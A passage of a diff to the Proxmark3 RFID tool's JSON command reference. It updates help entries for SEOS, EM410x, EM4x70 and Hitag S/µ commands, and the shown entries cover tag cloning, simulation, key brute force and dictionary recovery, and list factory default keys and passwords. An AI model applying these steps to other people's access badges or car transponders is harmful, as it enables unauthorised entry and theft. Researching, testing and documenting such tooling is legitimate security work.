[-hv] -t <1..12> [-u ] [-n ]" + "usage": "hf mfu sim [-hv] -t <1..13> [-u ] [-n ] [--c1] [--c2]" }, "hf mfu tamper": { "command": "hf mfu tamper", @@ -7428,21 +7737,40 @@ ], "usage": "hf search [-hv]" }, - "hf seos help": { - "command": "hf seos help", - "description": "help This help list List SEOS history --------------------------------------------------------------------------------------- hf seos info available offline: no Get info from SEOS tags", + "hf seos adf": { + "command": "hf seos adf", + "description": "Make a GET DATA request to an Application Data File (ADF) of a SEOS Tag The ADF is meant to be read by an application You still need the valid authentication keys to read a card By default: - ADF OID : 2B0601040181E438010102011801010202 - Key Index: 0 - Tag List : 5c02ff00", "notes": [ - "hf seos info" + "hf seos adf", + "hf seos adf -o 2B0601040181E438010102011801010202", + "hf seos adf -o 2B0601040181E438010102011801010202 --ki 0", + "hf seos adf -o 2B0601040181E438010102011801010202 -c 5c02ff41" ], "offline": true, "options": [ - "-h, --help This help" + "-h, --help This help", + "-c, --getdata <0-100> hex bytes for the tag list to Get Data request (Default: 5c02ff00)", + "-o, --oid <0-100> hex bytes for OID (Default: 2B0601040181E438010102011801010202)", + "--ki Specify key index to set key in memory" ], - "usage": "hf seos info [-h]" + "usage": "hf seos adf [-h] [-c ] [-o ] [--ki ]" }, - "hf seos list": { - "command": "hf seos list", - "description": "Alias of `trace list -t seos -c` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "hf seos gdf": { + "command": "hf seos gdf", + "description": "Get Global Data File (GDF) from SEOS card By default: - Key Index: 0", + "notes": [ + "hf seos gdfhf seos gdf --ki 0" + ], + "offline": true, + "options": [ + "-h, --help This help", + "--ki Specify key index to set key in memory" + ], + "usage": "hf seos gdf [-h] [--ki ]" + }, + "hf seos help": { + "command": "hf seos help", + "description": "----------- ----------------------- General ----------------------- help This help list List SEOS history ----------- ----------------------- Operations ----------------------- pacs Extract PACS Information from card adf Read an ADF from the card gdf Read an GDF from card ----------- ----------------------- Utils ----------------------- managekeys Manage keys to use with SEOS commands --------------------------------------------------------------------------------------- hf seos list available offline: yes Alias of `trace list -t seos -c` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", "notes": [ "hf seos list --frame -> show frame delay times", "hf seos list -1 -> use trace buffer" @@ -7461,6 +7789,80 @@ ], "usage": "hf seos list [-h1crux] [--frame] [-f ]" }, + "hf seos info": { + "command": "hf seos info", + "description": "Requests the unauthenticated information from the default ADF of a SEOS card - If the card is a SEOS card - Are static RND.ICC keys used (can detect SEOS default keyset) - What encryption and hashing algorithm is use", + "notes": [ + "hf seos info" + ], + "offline": false, + "options": [ + "-h, --help This help" + ], + "usage": "hf seos info [-h]" + }, + "hf seos managekeys": { + "command": "hf seos managekeys", + "description": "Manage SEOS Keys in client memory, keys are required to authenticate with SEOS cards", + "notes": [ + "hf seos managekeys -p", + "hf seos managekeys -p -v", + "hf seos managekeys --ki 0 --nonce 0102030405060708 -> Set nonce value at key index 0", + "hf seos managekeys --load -f mykeys.bin -p -> load from file and prints keys", + "hf seos managekeys --save -f mykeys.bin -> saves keys to file" + ], + "offline": true, + "options": [ + "-h, --help This help", + "--ki Specify key index to set key in memory", + "--nonce Nonce value as 8 hex bytes", + "--privenc Privacy Encryption key as 16 hex bytes", + "--privmac Privacy MAC key as 16 hex bytes", + "--read Undiversified Read key as 16 hex bytes", + "--write Undiversified Write key as 16 hex bytes", + "--admin Undiversified Admin key as 16 hex bytes", + "-f, --file Specify a filename for load / save operations", + "--save Save keys in memory to file specified by filename", + "--load Load keys to memory from file specified by filename", + "-p, --print Print keys loaded into memory", + "-v, --verbose verbose (print all key info)" + ], + "usage": "hf seos managekeys [-hpv] [--ki ] [--nonce ] [--privenc ] [--privmac ] [--read ] [--write ] [--admin ] [-f ] [--save] [--load]" + }, + "hf seos pacs": { + "command": "hf seos pacs", + "description": "Make a GET DATA request to an ADF of a SEOS card By default: - ADF OID : 2B0601040181E438010102011801010202 - Key Index: 0", + "notes": [ + "hf seos pacs", + "hf seos pacs --ki 1", + "hf seos pacs -o 2B0601040181E438010102011801010202 --ki 0" + ], + "offline": true, + "options": [ + "-h, --help This help", + "-o, --oid <0-100> hex bytes for OID (Default: 2B0601040181E438010102011801010202)", + "--ki Specify key index to set key in memory" + ], + "usage": "hf seos pacs [-h] [-o ] [--ki ]" + }, + "hf seos sam": { + "command": "hf seos sam", + "description": "Extract PACS information via a HID SAM Make sure you got a SAM inserted in your sim module", + "notes": [ + "hf seos sam", + "hf seos sam -d a005a103800104 -> get PACS data" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-v, --verbose verbose output", + "-k, --keep keep the field active after command executed", + "-n, --nodetect skip selecting the card and sending card details to SAM", + "-t, --tlv decode TLV", + "-d, --data DER encoded command to send to SAM" + ], + "usage": "hf seos sam [-hvknt] [-d ]..." + }, "hf sniff": { "command": "hf sniff", "description": "The high frequency sniffer will assign all available memory on device for sniffed data. Use `data samples` to download from device and `data plot` to visualize it. Press button to quit the sniffing.", @@ -7583,9 +7985,10 @@ ], "offline": true, "options": [ - "-h, --help This help" + "-h, --help This help", + "-p, --parse Parse the certificates as ASN.1" ], - "usage": "hf telsa info [-h]" + "usage": "hf telsa info [-hp]" }, "hf tesla list": { "command": "hf tesla list", @@ -7925,7 +8328,7 @@ }, "hf xerox help": { "command": "hf xerox help", - "description": "help This help list List ISO-14443B history -------- ----------------------- General ----------------------- view Display content from tag dump file --------------------------------------------------------------------------------------- hf xerox list available offline: yes Alias of `trace list -t 14b -c` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "description": "help This help list List ISO-14443B history -------- ----------------------- Operations ----------------------- view Display content from tag dump file --------------------------------------------------------------------------------------- hf xerox list available offline: yes Alias of `trace list -t 14b -c` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", "notes": [ "hf 14b list --frame -> show frame delay times", "hf 14b list -1 -> use trace buffer" @@ -8049,10 +8452,10 @@ "offline": true, "options": [ "-h, --help This help", - "-p, --port Serial port to connect to, else retry the last used one", + "-p, --port Serial port to connect to, else retry the last used one", "-b, --baud Baudrate" ], - "usage": "hw connect [-h] [-p ] [-b ]" + "usage": "hw connect [-h] [-p ] [-b ]" }, "hw dbg": { "command": "hw dbg", @@ -8552,12 +8955,13 @@ }, "lf em 410x clone": { "command": "lf em 410x clone", - "description": "clone a EM410x ID to a T55x7, Q5/T5555, EM4305/4469 or Hitag S/8211 tag.", + "description": "clone a EM410x ID to a T55x7, Q5/T5555, EM4305/4469, Hitag S/8211/8268/8310 or Hitag \u00b5/8265 tag.", "notes": [ "lf em 410x clone --id 0F0368568B -> encode for T55x7 tag", "lf em 410x clone --id 0F0368568B --q5 -> encode for Q5/T5555 tag", "lf em 410x clone --id 0F0368568B --em -> encode for EM4305/4469", - "lf em 410x clone --id 0F0368568B --hs -> encode for Hitag S/8211" + "lf em 410x clone --id 0F0368568B --hts -> encode for Hitag S/8211/8268/8310", + "lf em 410x clone --id 0F0368568B --htu -> encode for Hitag \u00b5/8265 tag" ], "offline": false, "options": [ @@ -8566,10 +8970,11 @@ "--id EM Tag ID number (5 hex bytes)", "--q5 optional - specify writing to Q5/T5555 tag", "--em optional - specify writing to EM4305/4469 tag", - "--hs optional - specify writing to Hitag S/8211 tag", + "--hts optional - specify writing to Hitag S/8211/8268/8310 tag", + "--htu optional - specify writing to Hitag \u00b5/8265 tag", "--electra optional - add Electra blocks to tag" ], - "usage": "lf em 410x clone [-h] [--clk ] --id [--q5] [--em] [--hs] [--electra]" + "usage": "lf em 410x clone [-h] [--clk ] --id [--q5] [--em] [--hts] [--htu] [--electra]" }, "lf em 410x reader": { "command": "lf em 410x reader", @@ -8598,18 +9003,18 @@ }, "lf em 410x sim": { "command": "lf em 410x sim", - "description": "Enables simulation of EM 410x card. Simulation runs until the button is pressed or another USB command is issued.", + "description": "Enables simulation of EM 410x card. Simulation runs until the button is pressed or another USB command is issued. Most common readers expects the code to be sent in loop without a break (i.e. --gap 0). For other, more advanced readers there might be a need to set a non-zero gap value.", "notes": [ "lf em 410x sim --id 0F0368568B", "lf em 410x sim --id 0F0368568B --clk 32", - "lf em 410x sim --id 0F0368568B --gap 0" + "lf em 410x sim --id 0F0368568B --gap 20" ], "offline": false, "options": [ "-h, --help This help", "--clk <32|64> clock (default 64)", "--id EM Tag ID number (5 hex bytes)", - "--gap gap (0's) between ID repeats (default 20)" + "--gap gap (0's) between ID repeats (default 0)" ], "usage": "lf em 410x sim [-h] [--clk ] --id [--gap ]" }, @@ -8665,9 +9070,9 @@ "options": [ "-h, --help This help", "-f, --file loads a default keys dictionary file <*.dic>", - "-e, --em try the calculated password from some cloners based on EM4100 ID" + "-e, --em try the calculated password from some cloners based on EM4100 ID" ], - "usage": "lf em 4x05 chk [-h] [-f ] [-e ]" + "usage": "lf em 4x05 chk [-h] [-f ] [-e ]" }, "lf em 4x05 config": { "command": "lf em 4x05 config", @@ -9085,11 +9490,10 @@ "offline": false, "options": [ "-h, --help This help", - "--par Add parity bit when sending commands", "--rnd Random 56-bit", "--frn F(RN) 28-bit as 4 hex bytes" ], - "usage": "lf em 4x70 auth [-h] [--par] --rnd --frn " + "usage": "lf em 4x70 auth [-h] --rnd --frn " }, "lf em 4x70 autorecover": { "command": "lf em 4x70 autorecover", @@ -9102,12 +9506,11 @@ "offline": false, "options": [ "-h, --help This help", - "--par Add parity bit when sending commands", "--rnd Random 56-bit from known-good authentication", "--frn F(RN) 28-bit as 4 hex bytes from known-good authentication", "--grn G(RN) 20-bit as 3 hex bytes from known-good authentication" ], - "usage": "lf em 4x70 autorecover [-h] [--par] --rnd --frn --grn " + "usage": "lf em 4x70 autorecover [-h] --rnd --frn --grn " }, "lf em 4x70 calc": { "command": "lf em 4x70 calc", @@ -9136,27 +9539,24 @@ "offline": true, "options": [ "-h, --help This help", - "--par Add parity bit when sending commands", "-b, --block block/word address, dec", "--rnd Random 56-bit", "--frn F(RN) 28-bit as 4 hex bytes", "-s, --start Start bruteforce enumeration from this key value" ], - "usage": "lf em 4x70 brute [-h] [--par] -b --rnd --frn [-s ]" + "usage": "lf em 4x70 brute [-h] -b --rnd --frn [-s ]" }, "lf em 4x70 info": { "command": "lf em 4x70 info", "description": "Tag Information EM4x70 Tag variants include ID48 automotive transponder. ID48 does not use command parity (default). V4070 and EM4170 do require parity bit.", "notes": [ - "lf em 4x70 info", - "lf em 4x70 info --par -> adds parity bit to command" + "lf em 4x70 info" ], "offline": false, "options": [ - "-h, --help This help", - "--par Add parity bit when sending commands" + "-h, --help This help" ], - "usage": "lf em 4x70 info [-h] [--par]" + "usage": "lf em 4x70 info [-h]" }, "lf em 4x70 recover": { "command": "lf em 4x70 recover", @@ -9169,13 +9569,12 @@ "offline": true, "options": [ "-h, --help This help", - "--par Add parity bit when sending commands", "-k, --key Key as 6 hex bytes", "--rnd Random 56-bit", "--frn F(RN) 28-bit as 4 hex bytes", "--grn G(RN) 20-bit as 3 hex bytes" ], - "usage": "lf em 4x70 recover [-h] [--par] -k --rnd --frn --grn " + "usage": "lf em 4x70 recover [-h] -k --rnd --frn --grn " }, "lf em 4x70 setkey": { "command": "lf em 4x70 setkey", @@ -9188,56 +9587,49 @@ "offline": false, "options": [ "-h, --help This help", - "--par Add parity bit when sending commands", "-k, --key Key as 12 hex bytes" ], - "usage": "lf em 4x70 setkey [-h] [--par] -k " + "usage": "lf em 4x70 setkey [-h] -k " }, "lf em 4x70 setpin": { "command": "lf em 4x70 setpin", "description": "Write new PIN", "notes": [ - "lf em 4x70 setpin -p 11223344 -> Write new PIN", - "lf em 4x70 setpin -p 11223344 --par -> Write new PIN using parity commands" + "lf em 4x70 setpin -p 11223344 -> Write new PIN" ], "offline": false, "options": [ "-h, --help This help", - "--par Add parity bit when sending commands", "-p, --pin pin, 4 bytes" ], - "usage": "lf em 4x70 setpin [-h] [--par] -p " + "usage": "lf em 4x70 setpin [-h] -p " }, "lf em 4x70 unlock": { "command": "lf em 4x70 unlock", "description": "Unlock EM4x70 by sending PIN Default pin may be: AAAAAAAA 00000000", "notes": [ - "lf em 4x70 unlock -p 11223344 -> Unlock with PIN", - "lf em 4x70 unlock -p 11223344 --par -> Unlock with PIN using parity commands" + "lf em 4x70 unlock -p 11223344 -> Unlock with PIN" ], "offline": false, "options": [ "-h, --help This help", - "--par Add parity bit when sending commands", "-p, --pin pin, 4 bytes" ], - "usage": "lf em 4x70 unlock [-h] [--par] -p " + "usage": "lf em 4x70 unlock [-h] -p " }, "lf em 4x70 write": { "command": "lf em 4x70 write", "description": "Write EM4x70", "notes": [ - "lf em 4x70 write -b 15 -d c0de -> write 'c0de' to block 15", - "lf em 4x70 write -b 15 -d c0de --par -> adds parity bit to commands" + "lf em 4x70 write -b 15 -d c0de -> write 'c0de' to block 15" ], "offline": false, "options": [ "-h, --help This help", - "--par Add parity bit when sending commands", "-b, --block block/word address, dec", "-d, --data data, 2 bytes" ], - "usage": "lf em 4x70 write [-h] [--par] -b -d " + "usage": "lf em 4x70 write [-h] -b -d " }, "lf em help": { "command": "lf em help", @@ -9606,8 +9998,8 @@ "command": "lf hitag chk", "description": "Run dictionary key or password recovery against Hitag card.", "notes": [ - "lf hitag chk", - "-> checks for both pwd / crypto keyslf hitag chk --crypto -> use def dictionary", + "lf hitag chk -> checks for both pwd / crypto keys", + "lf hitag chk --crypto -> use def dictionary", "lf hitag chk --pwd -f my.dic -> pwd mode, custom dictionary" ], "offline": false, @@ -9686,7 +10078,7 @@ }, "lf hitag help": { "command": "lf hitag help", - "description": "help This help list List Hitag trace history hts { Hitag S/8211 operations } test Perform self tests view Display content from tag dump file lookup Uses authentication trace to check for key in dictionary file --------------------------------------------------------------------------------------- lf hitag list available offline: yes Alias of `trace list -t hitag2` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "description": "help This help list List Hitag trace history hts { Hitag S/8211 operations } htu { Hitag \u00b5/8265 operations } test Perform self tests view Display content from tag dump file lookup Uses authentication trace to check for key in dictionary file --------------------------------------------------------------------------------------- lf hitag list available offline: yes Alias of `trace list -t ht2` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", "notes": [ "lf hitag list --frame -> show frame delay times", "lf hitag list -1 -> use trace buffer" @@ -9705,9 +10097,32 @@ ], "usage": "lf hitag list [-h1crux] [--frame] [-f ]" }, + "lf hitag hts dump": { + "command": "lf hitag hts dump", + "description": "Read all Hitag S memory and save to file Crypto mode: - key format ISK high + ISK low - default key 4F4E4D494B52 (ONMIKR) 8268/8310 password mode: - default password BBDD3399", + "notes": [ + "lf hitag hts dump --82xx -> use def pwd", + "lf hitag hts dump --82xx -k BBDD3399 -> pwd mode", + "lf hitag hts dump --crypto -> use def crypto", + "lf hitag hts dump -k 4F4E4D494B52 -> crypto mode", + "lf hitag hts dump --nrar 0102030411223344" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-8, --82xx 8268/8310 mode", + "--nrar nonce / answer writer, 8 hex bytes", + "--crypto crypto mode", + "-k, --key pwd or key, 4 or 6 hex bytes", + "-m, --mode response protocol mode. 0 (Standard 00110), 1 (Advanced 11000), 2 (Advanced 11001), 3 (Fast Advanced 11010) (def: 3)", + "-f, --file specify file name", + "--ns no save to file" + ], + "usage": "lf hitag hts dump [-h8] [--nrar ] [--crypto] [-k ] [-m ] [-f ] [--ns]" + }, "lf hitag hts help": { "command": "lf hitag hts help", - "description": "help This help list List Hitag S trace history --------------------------------------------------------------------------------------- lf hitag hts list available offline: yes Alias of `trace list -t hitags` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "description": "help This help list List Hitag S trace history --------------------------------------------------------------------------------------- lf hitag hts list available offline: yes Alias of `trace list -t hts` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", "notes": [ "lf hitag hts list --frame -> show frame delay times", "lf hitag hts list -1 -> use trace buffer" @@ -9726,43 +10141,208 @@ ], "usage": "lf hitag hts list [-h1crux] [--frame] [-f ]" }, - "lf hitag hts read": { - "command": "lf hitag hts read", - "description": "Read Hitag S memory. Crypto mode: - key format ISK high + ISK low - default key 4F4E4D494B52 (ONMIKR)", + "lf hitag hts rdbl": { + "command": "lf hitag hts rdbl", + "description": "Read Hitag S memory Response protocol modes: 0 - Standard 00110 1 - Advanced 11000 2 - Advanced 11001 3 - Fast Advanced 11010 (def) Crypto mode: - key format ISK high + ISK low - default key 4F4E4D494B52 (ONMIKR) 8268/8310 password mode: - default password BBDD3399", "notes": [ - "lf hitag hts read -> Hitag S, plain mode", - "lf hitag hts read --nrar 0102030411223344 -> Hitag S, challenge mode", - "lf hitag hts read --crypto -> Hitag S, crypto mode, def key", - "lf hitag hts read -k 4F4E4D494B52 -> Hitag S, crypto mode" + "lf hitag hts rdbl -p 1 -> Hitag S/8211, plain mode", + "lf hitag hts rdbl -p 1 --82xx -k BBDD3399 -> 8268/8310, password mode", + "lf hitag hts rdbl -p 1 --nrar 0102030411223344 -> Hitag S, challenge mode", + "lf hitag hts rdbl -p 1 --crypto -> Hitag S, crypto mode, def key", + "lf hitag hts rdbl -p 1 -k 4F4E4D494B52 -> Hitag S, crypto mode" ], "offline": false, "options": [ "-h, --help This help", + "-8, --82xx 8268/8310 mode", "--nrar nonce / answer writer, 8 hex bytes", "--crypto crypto mode", - "-k, --key key, 4 or 6 hex bytes" + "-k, --key pwd or key, 4 or 6 hex bytes", + "-m, --mode <0|1|2|3> response protocol mode (def 3)", + "-p, --page page address to read from", + "-c, --count how many pages to read. '0' reads all pages up to the end page (def: 1)" ], - "usage": "lf hitag hts read [-h] [--nrar ] [--crypto] [-k ]" + "usage": "lf hitag hts rdbl [-h8] [--nrar ] [--crypto] [-k ] [-m <0|1|2|3>] [-p ] [-c ]" }, - "lf hitag hts write": { - "command": "lf hitag hts write", - "description": "Write a page in Hitag S memory. Crypto mode: - key format ISK high + ISK low - default key 4F4E4D494B52 (ONMIKR)", + "lf hitag hts reader": { + "command": "lf hitag hts reader", + "description": "Act as a Hitag S reader. Look for Hitag S tags until Enter or the pm3 button is pressed", "notes": [ - "lf hitag hts write -p 6 -d 01020304 -> Hitag S, plain mode", - "lf hitag hts write -p 6 -d 01020304 --nrar 0102030411223344 -> Hitag S, challenge mode", - "lf hitag hts write -p 6 -d 01020304 --crypto -> Hitag S, crypto mode, default key", - "lf hitag hts write -p 6 -d 01020304 -k 4F4E4D494B52 -> Hitag S, crypto mode" + "lf hitag hts reader", + "lf hitag hts reader -@ -> Continuous mode" ], "offline": false, "options": [ "-h, --help This help", + "-@ continuous reader mode" + ], + "usage": "lf hitag hts reader [-h@]" + }, + "lf hitag hts restore": { + "command": "lf hitag hts restore", + "description": "Restore a dump file onto Hitag S tag Crypto mode: - key format ISK high + ISK low - default key 4F4E4D494B52 (ONMIKR) 8268/8310 password mode: - default password BBDD3399", + "notes": [ + "lf hitag hts restore -f myfile --82xx -> use def pwd", + "lf hitag hts restore -f myfile --82xx -k BBDD3399 -> pwd mode", + "lf hitag hts restore -f myfile --crypto -> use def crypto", + "lf hitag hts restore -f myfile -k 4F4E4D494B52 -> crypto mode", + "lf hitag hts restore -f myfile --nrar 0102030411223344" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-8, --82xx 8268/8310 mode", "--nrar nonce / answer writer, 8 hex bytes", "--crypto crypto mode", - "-k, --key key, 6 hex bytes", + "-k, --key pwd or key, 4 or 6 hex bytes", + "-m, --mode response protocol mode. 0 (Standard 00110), 1 (Advanced 11000), 2 (Advanced 11001), 3 (Fast Advanced 11010) (def: 3)", + "-f, --file specify file name" + ], + "usage": "lf hitag hts restore [-h8] [--nrar ] [--crypto] [-k ] [-m ] [-f ]" + }, + "lf hitag hts sim": { + "command": "lf hitag hts sim", + "description": "Simulate Hitag S transponder You need to `lf hitag hts eload` first", + "notes": [ + "lf hitag hts sim", + "lf hitag hts sim --82xx", + "lf hitag hts sim -t 30 -> set threshold to 30" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-8, --82xx simulate 8268/8310", + "-t, --threshold set edge detect threshold (def: 127)" + ], + "usage": "lf hitag hts sim [-h8] [-t ]" + }, + "lf hitag hts wrbl": { + "command": "lf hitag hts wrbl", + "description": "Write a page in Hitag S memory. Crypto mode: - key format ISK high + ISK low - default key 4F4E4D494B52 (ONMIKR) 8268/8310 password mode: - default password BBDD3399", + "notes": [ + "lf hitag hts wrbl -p 6 -d 01020304 -> Hitag S/8211, plain mode", + "lf hitag hts wrbl -p 6 -d 01020304 --82xx -> use def pwd", + "lf hitag hts wrbl -p 6 -d 01020304 --82xx -k BBDD3399 -> 8268/8310, password mode", + "lf hitag hts wrbl -p 6 -d 01020304 --nrar 0102030411223344 -> Hitag S, challenge mode", + "lf hitag hts wrbl -p 6 -d 01020304 --crypto -> Hitag S, crypto mode, default key", + "lf hitag hts wrbl -p 6 -d 01020304 -k 4F4E4D494B52 -> Hitag S, crypto mode" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-8, --82xx 8268/8310 mode", + "--nrar nonce / answer writer, 8 hex bytes", + "--crypto crypto mode", + "-k, --key pwd or key, 4 or 6 hex bytes", + "-m, --mode response protocol mode. 0 (Standard 00110), 1 (Advanced 11000), 2 (Advanced 11001), 3 (Fast Advanced 11010) (def: 3)", "-p, --page page address to write to", "-d, --data data, 4 hex bytes" ], - "usage": "lf hitag hts write [-h] [--nrar ] [--crypto] [-k ] -p -d " + "usage": "lf hitag hts wrbl [-h8] [--nrar ] [--crypto] [-k ] [-m ] -p -d " + }, + "lf hitag htu dump": { + "command": "lf hitag htu dump", + "description": "Read all Hitag \u00b5 memory and save to file 82xx password mode: - default password 00000000", + "notes": [ + "lf hitag htu dump --82xx -> use def pwd", + "lf hitag htu dump --82xx -k 9AC4999C -> pwd mode" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-8, --82xx 82xx mode", + "-k, --key pwd, 4 hex bytes", + "-f, --file specify file name", + "--ns no save to file" + ], + "usage": "lf hitag htu dump [-h8] [-k ] [-f ] [--ns]" + }, + "lf hitag htu help": { + "command": "lf hitag htu help", + "description": "help This help list List Hitag \u00b5 trace history --------------------------------------------------------------------------------------- lf hitag htu list available offline: yes Alias of `trace list -t htu` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "notes": [ + "lf hitag htu list --frame -> show frame delay times", + "lf hitag htu list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help This help", + "-1, --buffer use data from trace buffer", + "--frame show frame delay times", + "-c mark CRC bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into Wireshark using encapsulation type \"ISO 14443\"", + "-f, --file filename of dictionary" + ], + "usage": "lf hitag htu list [-h1crux] [--frame] [-f ]" + }, + "lf hitag htu rdbl": { + "command": "lf hitag htu rdbl", + "description": "Read Hitag \u00b5 memory. 82xx password mode: - default password 00000000", + "notes": [ + "lf hitag htu rdbl -p 1 -> Hitag \u00b5, plain mode", + "lf hitag htu rdbl -p 1 --82xx -> 82xx, password mode, def pass", + "lf hitag htu rdbl -p 1 --82xx -k 9AC4999C -> 82xx, password mode" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-8, --82xx 82xx mode", + "-k, --key pwd, 4 hex bytes", + "-p, --page block address to read from (def: 0)", + "-c, --count how many blocks to read. '0' reads all blocks (def: 1)" + ], + "usage": "lf hitag htu rdbl [-h8] [-k ] [-p ] [-c ]" + }, + "lf hitag htu reader": { + "command": "lf hitag htu reader", + "description": "Act as a Hitag \u00b5 reader. Look for Hitag \u00b5 tags until Enter or the pm3 button is pressed", + "notes": [ + "lf hitag htu reader", + "lf hitag htu reader -@ -> Continuous mode" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-@ continuous reader mode" + ], + "usage": "lf hitag htu reader [-h@]" + }, + "lf hitag htu sim": { + "command": "lf hitag htu sim", + "description": "Simulate Hitag \u00b5 transponder You need to `lf hitag htu eload` first", + "notes": [ + "lf hitag htu sim", + "lf hitag htu sim --82xx", + "lf hitag htu sim -t 30 -> set threshold to 30" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-8, --82xx simulate 82xx", + "-t, --threshold set edge detect threshold (def: 127)" + ], + "usage": "lf hitag htu sim [-h8] [-t ]" + }, + "lf hitag htu wrbl": { + "command": "lf hitag htu wrbl", + "description": "Write a block in Hitag \u00b5 memory. 82xx password mode: - default password 00000000", + "notes": [ + "lf hitag htu wrbl -p 6 -d 01020304 -> Hitag \u00b5, plain mode", + "lf hitag htu wrbl -p 6 -d 01020304 --82xx -> use def pwd", + "lf hitag htu wrbl -p 6 -d 01020304 --82xx -k 9AC4999C -> 82xx, password mode" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-8, --82xx 82xx mode", + "-k, --key pwd, 4 hex bytes", + "-p, --page block address to write to", + "-d, --data data, 4 hex bytes" + ], + "usage": "lf hitag htu wrbl [-h8] [-k ] -p -d " }, "lf hitag info": { "command": "lf hitag info", @@ -9799,13 +10379,8 @@ }, "lf hitag read": { "command": "lf hitag read", - "description": "Read Hitag memory. It support Hitag S and Hitag 2 Password mode: - default key 4D494B52 (MIKR) Crypto mode: - key format ISK high + ISK low - default key 4F4E4D494B52 (ONMIKR)", + "description": "Read Hitag memory. It support Hitag 2 Password mode: - default key 4D494B52 (MIKR) Crypto mode: - key format ISK high + ISK low - default key 4F4E4D494B52 (ONMIKR)", "notes": [ - "lf hitag read --hts -> Hitag S, plain mode", - "lf hitag read --hts --nrar 0102030411223344 -> Hitag S, challenge mode", - "lf hitag read --hts --crypto -> Hitag S, crypto mode, def key", - "lf hitag read --hts -k 4F4E4D494B52 -> Hitag S, crypto mode", - "", "lf hitag read --ht2 --pwd -> Hitag 2, pwd mode, def key", "lf hitag read --ht2 -k 4D494B52 -> Hitag 2, pwd mode", "lf hitag read --ht2 --nrar 0102030411223344 -> Hitag 2, challenge mode", @@ -9815,14 +10390,13 @@ "offline": false, "options": [ "-h, --help This help", - "-s, --hts Hitag S", "-2, --ht2 Hitag 2", "--pwd password mode", "--nrar nonce / answer writer, 8 hex bytes", "--crypto crypto mode", "-k, --key key, 4 or 6 hex bytes" ], - "usage": "lf hitag read [-hs2] [--pwd] [--nrar ] [--crypto] [-k ]" + "usage": "lf hitag read [-h2] [--pwd] [--nrar ] [--crypto] [-k ]" }, "lf hitag reader": { "command": "lf hitag reader", @@ -9848,14 +10422,13 @@ "options": [ "-h, --help This help", "-1, --ht1 simulate Hitag 1", - "-2, --ht2 simulate Hitag 2", - "-s, --hts simulate Hitag S" + "-2, --ht2 simulate Hitag 2" ], - "usage": "lf hitag sim [-h12s]" + "usage": "lf hitag sim [-h12]" }, "lf hitag sniff": { "command": "lf hitag sniff", - "description": "Sniff the communication between reader and tag. Use `lf hitag list` to view collected data.", + "description": "Sniff the communication between reader and tag Use `lf hitag list` to view collected data.", "notes": [ "lf hitag sniff" ], @@ -9893,13 +10466,8 @@ }, "lf hitag wrbl": { "command": "lf hitag wrbl", - "description": "Write a page in Hitag memory. It support HitagS and Hitag 2 Password mode: - default key 4D494B52 (MIKR) Crypto mode: - key format ISK high + ISK low - default key 4F4E4D494B52 (ONMIKR)", + "description": "Write a page in Hitag memory. It support Hitag 2 Password mode: - default key 4D494B52 (MIKR) Crypto mode: - key format ISK high + ISK low - default key 4F4E4D494B52 (ONMIKR)", "notes": [ - "lf hitag wrbl --hts -p 6 -d 01020304 -> HitagS, plain mode", - "lf hitag wrbl --hts -p 6 -d 01020304 --nrar 0102030411223344 -> HitagS, challenge mode", - "lf hitag wrbl --hts -p 6 -d 01020304 --crypto -> HitagS, crypto mode, def key", - "lf hitag wrbl --hts -p 6 -d 01020304 -k 4F4E4D494B52 -> HitagS, crypto mode", - "", "lf hitag wrbl --ht2 -p 6 -d 01020304 --pwd -> Hitag 2, pwd mode, def key", "lf hitag wrbl --ht2 -p 6 -d 01020304 -k 4D494B52 -> Hitag 2, pwd mode", "lf hitag wrbl --ht2 -p 6 -d 01020304 --nrar 0102030411223344 -> Hitag 2, challenge mode", @@ -9909,7 +10477,6 @@ "offline": false, "options": [ "-h, --help This help", - "-s, --hts Hitag S", "-2, --ht2 Hitag 2", "--pwd password mode", "--nrar nonce / answer writer, 8 hex bytes", @@ -9918,7 +10485,7 @@ "-p, --page page address to write to", "-d, --data data, 4 hex bytes" ], - "usage": "lf hitag wrbl [-hs2] [--pwd] [--nrar ] [--crypto] [-k ] -p -d " + "usage": "lf hitag wrbl [-h2] [--pwd] [--nrar ] [--crypto] [-k ] -p -d " }, "lf idteck clone": { "command": "lf idteck clone", @@ -10650,8 +11217,8 @@ "-r, --reset Reset configuration to default values", "-p, --pwd Password, 7bytes, LSB-order", "-d, --delay Tag initialization delay (in us)", - "--lw offset, low pulses width (in us)", - "--lp offset, low pulses position (in us)" + "--lw offset, low pulses width (in us), optional!", + "--lp offset, low pulses position (in us), optional!" ], "usage": 